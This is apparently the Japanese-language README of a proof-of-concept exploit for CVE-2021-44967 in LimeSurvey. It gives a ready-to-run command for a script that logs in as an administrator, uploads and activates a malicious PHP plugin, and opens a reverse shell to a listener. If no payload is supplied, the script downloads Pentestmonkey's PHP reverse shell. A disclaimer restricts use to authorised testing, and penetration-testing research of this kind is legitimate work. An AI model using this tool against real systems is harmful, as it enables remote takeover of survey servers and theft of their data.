
CVE-2021-44967 の概念実証エクスプロイト。悪意のあるプラグインのアップロードを介して LimeSurvey 5.2.4 でリモートコード実行を可能にし、リバースシェル機能を備えています。
CVE-2021-44967 の概念実証。このスクリプトは LimeSurvey に認証し、PHP プラグインをアップロードして有効化し、リバースシェルをトリガーします。
これは、自身が所有するシステム、またはテストを許可されたシステムに対してのみ使用してください。
beautifulsoup4、netifaces、requestsPATH に nc が存在すること分離された環境を作成し、Python パッケージをインストールします:
python3 -m venv .venv
source .venv/bin/activate
python -m pip install beautifulsoup4 netifaces requests
python3 limesurvey_rce.py \
--url https://target.example \
--username admin \
--password 'password' \
--listen-ip tun0 \
--listen-port 4444
--listen-ip は IPv4 アドレスまたはインターフェース名を受け付け、デフォルトは tun0 です。--file を省略した場合、スクリプトは Pentestmonkey の PHP リバースシェルをダウンロードし、リスナーアドレスで設定します。代わりにローカルの PHP ペイロードを指定するには --file payload.php を渡してください。
プロキシやカスタム User-Agent 設定を含むすべてのオプションについては、python3 limesurvey_rce.py --help を実行してください。
このエクスプロイトは LimeSurvey Community Edition 6.6.4 に対してテストされました。CVE レコードには LimeSurvey 5.2.4 の脆弱性として記載されています。